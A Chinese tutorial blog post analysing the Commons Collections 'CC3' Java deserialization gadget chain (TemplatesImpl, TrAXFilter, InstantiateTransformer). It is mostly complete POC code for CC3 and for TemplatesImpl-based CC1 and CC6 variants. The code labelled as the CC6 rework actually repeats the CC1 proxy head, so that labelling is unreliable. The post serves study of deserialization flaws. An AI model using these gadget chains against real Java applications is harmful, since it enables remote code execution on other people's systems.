前文分析了动态加载字节码,本篇就来分析一下使用TemplatesImpl加载字节码执行命令的CC3并将原本CC1和CC6中执行命令的尾部Runtime也改为用TemplatesImpl加载字节码执行命令。

环境部分版本不变为jdk8u65和CC3.2.1

CC3链分析

尾部TemplateImpl

由于Runtime和invokertransform被限制使用,本链会利用其他方法把这些限制绕开。

TemplatesImpl加载字节码执行命令详情前文已经分析过,整条利用链为 :

TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

总结一下就是TemplatesImpl#newTransformer()方法调用了子类的defineClass()加载字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package classloader;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class RunTemplatesImplTest {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class")); //class为通过恶意类编译生成的 里面也就是字节码
final TemplatesImpl templates = new TemplatesImpl();
//给变量设置值
Setvalue(templates,"_name","jjxxx");
Setvalue(templates,"_bytecodes",new byte[][]{bytes});
Setvalue(templates,"_tfactory",new TransformerFactoryImpl());
//调用链头
templates.newTransformer(); //这里是主动调用newTransformer
}
//给变量设置值的方法
public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException {
final Field field = classname.getClass().getDeclaredField(valuename);
field.setAccessible(true);
field.set(classname,value);
}
}

代码中通过主动调用newTransformer来调用整条加载字节码的链子,这样思路就清晰了,继续往前找可以调用newTransformer()方法的类

TrAXFilter

右键查找用法,可以看到TrAXFilter的类

跟进看一下,发现该类的构造方法接收一个Templates类型的参数,并且会调用templates.newTransformer()方法,这正是需要找的。

但是会发现该类并没有实现Serializable的接口,不能序列化,因此不能直接调用。

我们可以继续使用CC1中的方法:虽然Runtim无法序列化,但是能利用Runtime.class可以序列化方式解决,通过反射与invokertransformer结合的方法调用runtime.class。但是invokertransformer有时也会被加入黑名单,无法利用。

InstantiateTransformer

而ysoserial给出的方法是InstantiateTransformer这个类

跟进一下

它的构造方法会接收两个参数,第一个是参数类型,第二个是参数值;transform方法接收一个input参数,((Class) input).getConstructor(iParamTypes);并把这个参数强转为class类型,并调用该class的构造方法然后return一个初始化的参数。

这个类的出现解决了TrAXFilter无法被序列化的问题,我们只需要利用这个类去获取TrAXFilter.class并调用它的构造方法传入templates(实例化的TemplatesImpl)即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public InstantiateTransformer(Class[] paramTypes, Object[] args) {  
super();
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
//给后面的templates进行初始化,iParamTypes后续传Templates.class,iArgs后续传templates(实例化的TemplatesImpl)

把上方TemplateImpl、TrAXFilter、InstantiateTransformer三个类串一下看看能不能执行命令。

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package classloader;  

import com.sun.org.apache.xalan.internal.xsltc.compiler.Template;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class cc3TemplateTest {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class"));
final TemplatesImpl templates = new TemplatesImpl();
//给变量设置值
Setvalue(templates, "_name", "jjxxx");
Setvalue(templates, "_bytecodes", new byte[][]{bytes});
Setvalue(templates, "_tfactory", new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class); //这里主动调用了transform()方法

// serialize(o);
// unserialize("2.bin");
}

public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException {
final Field field = classname.getClass().getDeclaredField(valuename);
field.setAccessible(true);
field.set(classname,value);
}

//序列化和反序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

成功执行命令说明这三个类可以利用

关于头部

上方找到了InstantiateTransformer类的transform的方法且测试代码通过主动调用该transform方法成功执行命令,现在我们需要再去找能够调用transform方法的类当做头部。

能够调用transform方法的头部在CC1(LazyMap与TransformedMap)和CC6中我们已经很熟悉了。

因此接下来只需要把之前的链子再拿过来用就可以了,我这里用CC6调用transform的方法作为头部完善一下POC。

CC3 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package classloader;  

import com.sun.org.apache.xalan.internal.xsltc.compiler.Template;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3TemplateTest {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class"));
final TemplatesImpl templates = new TemplatesImpl();
//给变量设置值
Setvalue(templates, "_name", "jjxxx");
Setvalue(templates, "_bytecodes", new byte[][]{bytes});
Setvalue(templates, "_tfactory", new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
final Transformer[] transformers = {new ConstantTransformer(TrAXFilter.class), instantiateTransformer};
Transformer chainedTransformer = new ChainedTransformer(transformers);


//下方为cc6调用transform()方法,也就是之前CC6的头部的前几个类
HashMap hashMap = new HashMap();
Map decoratemap = LazyMap.decorate(hashMap,chainedTransformer );
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = aClass.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, decoratemap);
//最后一行变化为把该实例强转为InvocationHandler,便于下方作为动态代理拦截器传入。上方其余部分不变就不再解读

//把动态代理强转成Map类型以便于作为AnnotationInvocationHandler的构造方法的参数传入
Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
//实例化动态代理,这样就可以调用invocationHandler的invoke()的方法
Object o = constructor.newInstance(Override.class, proxyInstance);
// serialize(o);

unserialize("2.bin");
}

public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException {
final Field field = classname.getClass().getDeclaredField(valuename);
field.setAccessible(true);
field.set(classname,value);
}

//序列化和反序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}


}

成功执行命令

链改

现在我们知道了可以用动态加载字节码执行命令我们可以把之前的CC1、CC6,尾部执行命令的方法改为TemplateImpl动态加载字节码其余不变。

CC1链改

以LazyMap版为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package classloader;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc1TemplateTest {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class"));
final TemplatesImpl templates = new TemplatesImpl();
//给变量设置值
Setvalue(templates,"_name","jjxxx");
Setvalue(templates,"_bytecodes",new byte[][]{bytes});
Setvalue(templates,"_tfactory",new TransformerFactoryImpl());


//调用链头
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


//下方代码不变
HashMap hashMap = new HashMap();
Map decoratemap = LazyMap.decorate(hashMap,chainedTransformer );

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = aClass.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, decoratemap);
//最后一行变化为把该实例强转为InvocationHandler,便于下方作为动态代理拦截器传入。上方其余部分不变就不再解读

//新增部分如下
//把动态代理强转成Map类型以便于作为AnnotationInvocationHandler的构造方法的参数传入
Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
//实例化动态代理,这样就可以调用invocationHandler的invoke()的方法
Object o = constructor.newInstance(Override.class, proxyInstance);

// serialize(o);

unserialize("2.bin");

}
//给变量设置值的方法
public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException {
final Field field = classname.getClass().getDeclaredField(valuename);
field.setAccessible(true);
field.set(classname,value);
}

//序列化和反序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

CC6链改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package classloader;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc6TemplateTest {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class"));
final TemplatesImpl templates = new TemplatesImpl();
//给变量设置值
Setvalue(templates, "_name", "jjxxx");
Setvalue(templates, "_bytecodes", new byte[][]{bytes});
Setvalue(templates, "_tfactory", new TransformerFactoryImpl());


//调用链头newTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


//下方不变
HashMap hashMap = new HashMap();
Map decoratemap = LazyMap.decorate(hashMap,chainedTransformer );

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = aClass.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, decoratemap);
//最后一行变化为把该实例强转为InvocationHandler,便于下方作为动态代理拦截器传入。上方其余部分不变就不再解读

//把动态代理强转成Map类型以便于作为AnnotationInvocationHandler的构造方法的参数传入
Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
//实例化动态代理,这样就可以调用invocationHandler的invoke()的方法
Object o = constructor.newInstance(Override.class, proxyInstance);
// serialize(o);

unserialize("2.bin");

}

public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException {
final Field field = classname.getClass().getDeclaredField(valuename);
field.setAccessible(true);
field.set(classname,value);
}


//序列化和反序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}


}

流程图

CC3 流程图

总流程图

CC链简化流程总结,只用来体现链子之间的关系;详情还需要看各链文章

总结

CC3链总结一下就是换了个执行命令的方式,并在加载字节码的TemplateImpl类上往前找了一个transform方法,并结合之前CC1、CC6调用transform()方法的头部,组合起来就是CC3了。